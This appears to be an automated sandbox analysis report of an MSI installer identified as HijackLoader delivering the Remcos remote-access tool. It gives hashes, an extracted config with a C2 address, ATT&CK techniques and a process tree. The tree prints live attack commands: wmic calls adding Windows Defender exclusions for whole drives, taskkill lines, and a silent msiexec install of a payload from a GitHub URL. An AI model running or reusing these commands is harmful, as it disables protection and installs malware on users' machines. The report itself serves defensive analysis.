hijackloader | 0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
22/02/2025, 02:33

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General

Target

0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce.msi
Size

27.3MB
MD5

f57bed58fae51b1eb360d11ffb042859
SHA1

18d49f590fec35f5f07a8a9ed7ede776cdfbf412
SHA256

0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce
SHA512

e71e09070cd37ba84fee17ba47c74c25b1d38408cf94a136cf6f42ee6df50f96d7bc5b33bd49729d5090fdade6e05678175bf49aa9474b1f93f2ea75d8e83f1d
SSDEEP

786432:h6JCD0rr9pQLq9jRbfQrP6sJ/xxLbxGrSU4+u:ArrHQLMf1O/xRorSU

Score

10^/10

hijackloader remcos v2 discovery loader persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x000200000001e934-76.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4304	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EHttpSrv = "\"C:\\Users\\Admin\\AppData\\Local\\IXXinstall\\EHttpSrv.exe\""	msiexec.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	4716	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
10	raw.githubusercontent.com

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3272 set thread context of 3232	3272	EHttpSrv.exe	113
PID 3232 set thread context of 3612	3232	cmd.exe	116

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\sev\dev\updt\task.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\BvSshClient-Inst (1).exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\Firefox Installer.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\lola.bat	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI87CF.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{0472DF57-ADC2-4F69-A007-A10C1075D56D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI88DB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI920E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9490.tmp	msiexec.exe
File created	C:\Windows\Installer\e57851e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8771.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e579415.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e57851e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI857C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI87FF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
3272	EHttpSrv.exe

Loads dropped DLL 7 IoCs

pid	Process
4672	MsiExec.exe
4672	MsiExec.exe
4672	MsiExec.exe
4672	MsiExec.exe
3272	EHttpSrv.exe
3272	EHttpSrv.exe
3612	EHttpSrv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
556	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
4192	taskkill.exe
3444	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3876	msiexec.exe
3876	msiexec.exe
4716	msiexec.exe
4716	msiexec.exe
3272	EHttpSrv.exe
3232	cmd.exe
3232	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3272	EHttpSrv.exe
3232	cmd.exe
3232	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	556	msiexec.exe
Token: SeIncreaseQuotaPrivilege	556	msiexec.exe
Token: SeSecurityPrivilege	3876	msiexec.exe
Token: SeCreateTokenPrivilege	556	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	556	msiexec.exe
Token: SeLockMemoryPrivilege	556	msiexec.exe
Token: SeIncreaseQuotaPrivilege	556	msiexec.exe
Token: SeMachineAccountPrivilege	556	msiexec.exe
Token: SeTcbPrivilege	556	msiexec.exe
Token: SeSecurityPrivilege	556	msiexec.exe
Token: SeTakeOwnershipPrivilege	556	msiexec.exe
Token: SeLoadDriverPrivilege	556	msiexec.exe
Token: SeSystemProfilePrivilege	556	msiexec.exe
Token: SeSystemtimePrivilege	556	msiexec.exe
Token: SeProfSingleProcessPrivilege	556	msiexec.exe
Token: SeIncBasePriorityPrivilege	556	msiexec.exe
Token: SeCreatePagefilePrivilege	556	msiexec.exe
Token: SeCreatePermanentPrivilege	556	msiexec.exe
Token: SeBackupPrivilege	556	msiexec.exe
Token: SeRestorePrivilege	556	msiexec.exe
Token: SeShutdownPrivilege	556	msiexec.exe
Token: SeDebugPrivilege	556	msiexec.exe
Token: SeAuditPrivilege	556	msiexec.exe
Token: SeSystemEnvironmentPrivilege	556	msiexec.exe
Token: SeChangeNotifyPrivilege	556	msiexec.exe
Token: SeRemoteShutdownPrivilege	556	msiexec.exe
Token: SeUndockPrivilege	556	msiexec.exe
Token: SeSyncAgentPrivilege	556	msiexec.exe
Token: SeEnableDelegationPrivilege	556	msiexec.exe
Token: SeManageVolumePrivilege	556	msiexec.exe
Token: SeImpersonatePrivilege	556	msiexec.exe
Token: SeCreateGlobalPrivilege	556	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeRestorePrivilege	3876	msiexec.exe
Token: SeTakeOwnershipPrivilege	3876	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeSecurityPrivilege	1688	WMIC.exe
Token: SeTakeOwnershipPrivilege	1688	WMIC.exe
Token: SeLoadDriverPrivilege	1688	WMIC.exe
Token: SeSystemProfilePrivilege	1688	WMIC.exe
Token: SeSystemtimePrivilege	1688	WMIC.exe
Token: SeProfSingleProcessPrivilege	1688	WMIC.exe
Token: SeIncBasePriorityPrivilege	1688	WMIC.exe
Token: SeCreatePagefilePrivilege	1688	WMIC.exe
Token: SeBackupPrivilege	1688	WMIC.exe
Token: SeRestorePrivilege	1688	WMIC.exe
Token: SeShutdownPrivilege	1688	WMIC.exe
Token: SeDebugPrivilege	1688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1688	WMIC.exe
Token: SeRemoteShutdownPrivilege	1688	WMIC.exe
Token: SeUndockPrivilege	1688	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
556	msiexec.exe
556	msiexec.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 4672	3876	msiexec.exe	87
PID 3876 wrote to memory of 4672	3876	msiexec.exe	87
PID 3876 wrote to memory of 4672	3876	msiexec.exe	87
PID 3876 wrote to memory of 1664	3876	msiexec.exe	90
PID 3876 wrote to memory of 1664	3876	msiexec.exe	90
PID 1664 wrote to memory of 2856	1664	cmd.exe	92
PID 1664 wrote to memory of 2856	1664	cmd.exe	92
PID 1664 wrote to memory of 4696	1664	cmd.exe	93
PID 1664 wrote to memory of 4696	1664	cmd.exe	93
PID 4696 wrote to memory of 2148	4696	cscript.exe	94
PID 4696 wrote to memory of 2148	4696	cscript.exe	94
PID 2148 wrote to memory of 2836	2148	wscript.exe	95
PID 2148 wrote to memory of 2836	2148	wscript.exe	95
PID 2836 wrote to memory of 1688	2836	cmd.exe	97
PID 2836 wrote to memory of 1688	2836	cmd.exe	97
PID 2148 wrote to memory of 4056	2148	wscript.exe	99
PID 2148 wrote to memory of 4056	2148	wscript.exe	99
PID 4056 wrote to memory of 1784	4056	cmd.exe	101
PID 4056 wrote to memory of 1784	4056	cmd.exe	101
PID 2148 wrote to memory of 1548	2148	wscript.exe	102
PID 2148 wrote to memory of 1548	2148	wscript.exe	102
PID 1548 wrote to memory of 4192	1548	cmd.exe	104
PID 1548 wrote to memory of 4192	1548	cmd.exe	104
PID 2148 wrote to memory of 1944	2148	wscript.exe	106
PID 2148 wrote to memory of 1944	2148	wscript.exe	106
PID 1944 wrote to memory of 3444	1944	cmd.exe	108
PID 1944 wrote to memory of 3444	1944	cmd.exe	108
PID 2148 wrote to memory of 1192	2148	wscript.exe	109
PID 2148 wrote to memory of 1192	2148	wscript.exe	109
PID 1192 wrote to memory of 4304	1192	wscript.exe	110
PID 1192 wrote to memory of 4304	1192	wscript.exe	110
PID 4716 wrote to memory of 3272	4716	msiexec.exe	112
PID 4716 wrote to memory of 3272	4716	msiexec.exe	112
PID 4716 wrote to memory of 3272	4716	msiexec.exe	112
PID 3272 wrote to memory of 3232	3272	EHttpSrv.exe	113
PID 3272 wrote to memory of 3232	3272	EHttpSrv.exe	113
PID 3272 wrote to memory of 3232	3272	EHttpSrv.exe	113
PID 3272 wrote to memory of 3232	3272	EHttpSrv.exe	113
PID 3232 wrote to memory of 3612	3232	cmd.exe	116
PID 3232 wrote to memory of 3612	3232	cmd.exe	116
PID 3232 wrote to memory of 3612	3232	cmd.exe	116
PID 3232 wrote to memory of 3612	3232	cmd.exe	116
PID 3232 wrote to memory of 3612	3232	cmd.exe	116

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0f81e4f98ae30a8c891b17872789cd5c0669bec05b6d4f99f9835fbcdb67b0ce.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:556

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2D70327CFA7EA596C86E3CEA4E598EE0
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2856
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2836
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4056
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        6⤵
        
        PID:1784
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1548
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cmd.exe
        6⤵
        Kills process with taskkill
        
        PID:4192
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1944
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im msiexec.exe
        6⤵
        Kills process with taskkill
        
        PID:3444
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1192
      - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "https://raw.githubusercontent.com/leinchchanceleinch/jik/refs/heads/main/d.msi" /qn
        6⤵
        Use of msiexec (install) with remote resource
        
        PID:4304

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e578521.rbs

Filesize
2KB

MD5
a91d14b21efda45aaa1740e9f99575bf

SHA1
69fb47d0aeb62b5edd2867962bce11c7bc54fe43

SHA256
3bb88fcc6d6253376f8114c827766319ff75fdba7fdf19b86c8d364d842d1067

SHA512
3a14e4ab13fb8940283f67201853c1d573a5329a3ee03980dbcc97345621e96bdc23c4926a761120259c150ffdb0c722c1b7b265dc6e3e5ead9f2ed219ed2400

Download Submit
C:\Config.Msi\e579414.rbs

Filesize
10KB

MD5
d8df8f438998e84fa8de1dca241859fa

SHA1
17d974d89752da8abc71b4643292151b5fc1f355

SHA256
d26fd79fde1f5b61f5bf90683c8a4a0ff08c82511f7c4decf0e315bfa81ccf5f

SHA512
d516242adb2c1a201d2585d4423602779a19ec275029ddd4e83326ea4bb57e47452646a00e3e68d9160962f17188a562ffc509345784b8e9f37293193607c0df

Download Submit
C:\Program Files (x86)\sev\dev\updt\lola.bat

Filesize
656B

MD5
73e4aed899a6014299b63ccf9eb520f5

SHA1
4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

SHA256
01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

SHA512
e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

Download Submit
C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

Filesize
872B

MD5
64dccadec94cfd25ee1ed659b29182b2

SHA1
64bc8bca314a238a900de2092587b07903b08e6c

SHA256
c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

SHA512
adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

Download Submit
C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

Filesize
530B

MD5
f46334bc2aaa5c17f94d9e1a71d313ad

SHA1
635bd3cd09045731691a446a82b9a30cb244ce8b

SHA256
3568b9a14ec94a3e7ee267124e3eaea38b6d49019988f5e68dc2fbc16057acaa

SHA512
e8f5216fe65fdbd8b81e2f14b2d40b11be6d5806262ee98292c7bf962ae22a5fb99fb4b58556953d4d6e78be332c0c2cff9b642ee9496dcf62fee452955da0ef

Download Submit
C:\Program Files (x86)\sev\dev\updt\task.vbs

Filesize
2KB

MD5
be8e86dd465192f94e52b2cf7bb6243a

SHA1
e62cfcee783511bf7aa2411564b856967a185749

SHA256
99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

SHA512
fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\http_dll.dll

Filesize
1.9MB

MD5
fe47e255c704b20cb20c8ed93ec94d47

SHA1
ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

SHA256
b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

SHA512
55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\1795b022

Filesize
1.0MB

MD5
a4bf8060a9c3467d4260a6677bac84b0

SHA1
23a4b872157da41a1528e47da4662e742cfa7d83

SHA256
817367019b68b1c1302a096b1c02bbbd5f728a14720203a7fde10ed4fa890636

SHA512
5c1518f47112a0e8ce53ac9c54a85e5dfc89c1fe36ddbe196e26b9301e98419527297bb52f7f5bce7aa4ed4e7261f715daa86acc1cb67a9563e72ec67a79aece

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI783c6.LOG

Filesize
22KB

MD5
a3ed2af2887de742e41ffbdce32c9ee5

SHA1
1a0c4ef8a21e01e7324dda303e7553426d78edf4

SHA256
d53775fba332650e624161f73dd96a064cc50ff4098aaf0cc5726899b115c8f4

SHA512
60435f5b4510976bbb6cc3bca84325abac951026704114b90f965a1cd467ded04860568e9ebf0a9d5fff82640d906ea54fc6ebbde3df90c8d2dbd0ed46d78f91

Download Submit
C:\Windows\Installer\MSI857C.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
C:\Windows\Installer\MSI920E.tmp

Filesize
2.9MB

MD5
5297df4268c31105df6d2fc39437d294

SHA1
df8d187c76abf86b8c7f3061723232424c6a7f2c

SHA256
696ed13d119273602770a67ac8015544cabba93a8316816e4fbdda5794b35399

SHA512
5fdd3cc4dfa1962a769138fece7a1ca9262d6503fe3a10838b6356d8fbe7081f841beb30bffbf0cc4966f863e63d420c05f9f903c7621da6130fea2e7ed85ad5

Download Submit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Filesize
156KB

MD5
3c23112048006f76854477c1e943bb7c

SHA1
d699a0ba0f49428c6cea2501c1827a1201f5d35a

SHA256
77c3d3f65c155a0c35b5f995287fa3c6075d797398f69b7bf73ece775920dea2

SHA512
351c4e002c1556ca5dd217a11a1888f8965e7ef771c857ea2fa9abb9c525978bd2766d03b755af1d18dc557e8aa356f39d537142c463ebab41938fe42869c0d5

Download Submit
memory/3232-86-0x00007FFF27DD0000-0x00007FFF27FC5000-memory.dmp

Filesize
2.0MB

Download
memory/3232-88-0x0000000074E40000-0x0000000074FBB000-memory.dmp

Filesize
1.5MB

Download
memory/3272-83-0x0000000074E40000-0x0000000074FBB000-memory.dmp

Filesize
